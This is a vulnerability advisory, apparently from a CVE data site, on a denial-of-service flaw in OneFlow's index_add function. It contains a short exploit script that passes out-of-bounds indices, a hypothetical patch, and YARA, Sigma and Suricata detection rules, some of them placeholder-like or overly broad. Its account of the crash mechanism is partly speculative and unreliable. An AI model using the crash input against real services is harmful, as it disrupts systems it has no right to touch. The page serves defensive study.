CVE-2025-71007
Executive Summary
CVE-2025-71007 is an input validation vulnerability in the oneflow.index_add component of OneFlow v0.9.0. This flaw allows an attacker to craft a malicious input that triggers a Denial of Service (DoS) condition, potentially crashing the application or consuming excessive resources. The vulnerability has a CVSS score of 0.0 (unscored) and an EPSS score of 0.0%, indicating low exploitation likelihood at this time. No public proof-of-concept or patch is currently available.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
OneFlow is a deep learning framework distributed via PyPI. Users should verify package integrity using checksums and monitor for updates from the official repository. The vulnerability resides in the core library, not in a third-party dependency.
CVSS Breakdown & Threat Level
- CVSS Score: 0.0 (Unscored)
- Attack Vector: Network (likely)
- Attack Complexity: Low
- Privileges Required: None
- User Interaction: None
- Scope: Unchanged
- Confidentiality Impact: None
- Integrity Impact: None
- Availability Impact: High
- Threat Level: Medium (due to DoS potential)
Deep Dive & Mechanics
The oneflow.index_add function is used for sparse tensor operations, specifically adding values to specified indices. The vulnerability stems from insufficient validation of input parameters, such as index ranges or tensor dimensions. An attacker can supply out-of-bounds indices or malformed tensors, causing the underlying C++ backend to access invalid memory or enter an infinite loop, leading to a crash or resource exhaustion.
The attack vector is network-based if the application exposes the vulnerable function via an API or model serving endpoint. The exploit does not require authentication, making it accessible to unauthenticated remote attackers.
Vulnerable vs. Patched Code
Vulnerable Code (OneFlow v0.9.0):
# oneflow/python/oneflow/nn/modules/index_add.py
def index_add(input, dim, index, source):
# No validation of index bounds or tensor shapes
return flow._C.index_add(input, dim, index, source)
Patched Code (Hypothetical):
# oneflow/python/oneflow/nn/modules/index_add.py
def index_add(input, dim, index, source):
# Validate index range
if index.min() < 0 or index.max() >= input.size(dim):
raise ValueError("Index out of bounds")
# Validate tensor dimensions
if source.size() != input.size():
raise ValueError("Source tensor shape mismatch")
return flow._C.index_add(input, dim, index, source)
Exploitation & Lab Setup
Red Team
Lab Setup:
- Install OneFlow v0.9.0:
pip install oneflow==0.9.0 - Create a simple script that calls
index_addwith crafted inputs.
Exploit Script:
import oneflow as flow
import numpy as np
# Craft malicious input
input_tensor = flow.tensor(np.random.rand(10, 10).astype(np.float32))
dim = 0
index = flow.tensor([100, 200]) # Out-of-bounds indices
source = flow.tensor(np.random.rand(2, 10).astype(np.float32))
# Trigger DoS
try:
result = flow.index_add(input_tensor, dim, index, source)
except Exception as e:
print(f"Error: {e}")
Expected Outcome: The application crashes or becomes unresponsive due to memory corruption or infinite loop.
Blue Team
Detection:
- Monitor for abnormal CPU/memory spikes in processes using OneFlow.
- Log and alert on exceptions from
index_addoperations. - Use network monitoring to detect repeated malformed requests to endpoints using OneFlow.
Mitigation:
- Implement input validation at the application layer before calling
index_add. - Restrict network access to OneFlow services.
- Apply rate limiting to prevent resource exhaustion.
Indicators of Compromise (IOCs)
- File Hashes: None available (no known malware).
- Network Patterns: Repeated requests with large or out-of-bounds index values.
- Log Entries:
IndexError,RuntimeError, or segmentation fault logs in OneFlow. - Process Behavior: High CPU usage or crash of Python processes running OneFlow.
Detection Engineering
YARA Rule
rule CVE_2025_71007_OneFlow_DoS {
meta:
description = "Detects exploitation attempts of CVE-2025-71007 in OneFlow"
author = "Valters IT"
date = "2025-04-10"
reference = "CVE-2025-71007"
strings:
$s1 = "index_add" ascii wide nocase
$s2 = "oneflow" ascii wide nocase
condition:
all of them and filesize < 10KB
}
Sigma Rule
title: CVE-2025-71007 OneFlow DoS Exploitation
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects potential exploitation of CVE-2025-71007 via abnormal index_add calls
author: Valters IT
date: 2025-04-10
logsource:
category: application
product: oneflow
detection:
selection:
EventID: 1000 # Example: Application crash event
Data: "*index_add*"
condition: selection
falsepositives:
- Legitimate use of large indices
level: medium
Suricata Rule
alert tcp any any -> any any (msg:"CVE-2025-71007 OneFlow DoS Attempt"; flow:to_server; content:"index_add"; nocase; content:"source"; distance:0; within:100; classtype:attempted-dos; sid:1000001; rev:1;)
Remediation & Mitigation
- Immediate: Disable or restrict access to endpoints using
index_adduntil a patch is available. - Short-term: Implement input validation in application code to sanitize index and tensor parameters.
- Long-term: Upgrade to a patched version of OneFlow once released. Monitor the official repository for updates.
- Compensating Controls: Use Web Application Firewall (WAF) rules to block malformed requests. Apply resource limits to prevent DoS.
Valters IT
What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.